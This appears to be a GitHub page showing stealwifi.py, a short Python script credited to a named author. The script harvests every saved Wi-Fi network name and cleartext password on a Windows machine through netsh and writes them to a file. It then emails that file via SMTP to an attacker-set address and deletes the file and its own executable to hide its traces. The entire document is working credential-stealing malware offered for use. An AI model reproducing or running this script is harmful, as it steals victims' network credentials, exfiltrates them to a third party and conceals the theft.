-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathstealwifi.py
42 lines (37 loc) · 1.35 KB
/
stealwifi.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#####################################
# Coded by Sercan Yılmaz
# Contact: sercanyilmaz@protonmail.com
#####################################
import os, re
import smtplib
import time
def get_wlans():
data = os.popen("netsh wlan show profiles").read()
wifi = re.compile("All User Profile\s*:.(.*)")
return wifi.findall(data)
def get_pass(network):
try:
wlan = os.popen("netsh wlan show profile "+str(network.replace(" ","*"))+" key=clear").read()
pass_regex = re.compile("Key Content\s*:.(.*)")
return pass_regex.search(wlan).group(1)
except:
return " "
with open("clear.txt","w") as f:
for wlan in get_wlans():
f.write("\n SSID : "+wlan + " Password : " + get_pass(wlan))
f.close()
sender = "SENDER MAIL ADDRESS HERE" #CHANGE THIS
reciever = "RECIEVER MAIL ADDRESS HERE" #CHANGE THIS
mess = open("clear.txt", "rb")
message = mess.read()
with smtplib.SMTP(host = "mail.yourdomain.com", port = 587) as server: #If you prefer to use gmail, you have to change settings for less secure applications...
time.sleep(1)
server.login("SENDER MAIL ADDRESS", "SENDER MAIL PASSWORD") #CHANGE THIS
server.sendmail(sender, reciever, message)
time.sleep(1)
def delete():
command1 = "del clear.txt"
command2 = "timeout /t 2 & DEL FILENAME.EXE"
process = os.popen(command1)
process = os.popen(command2)
delete()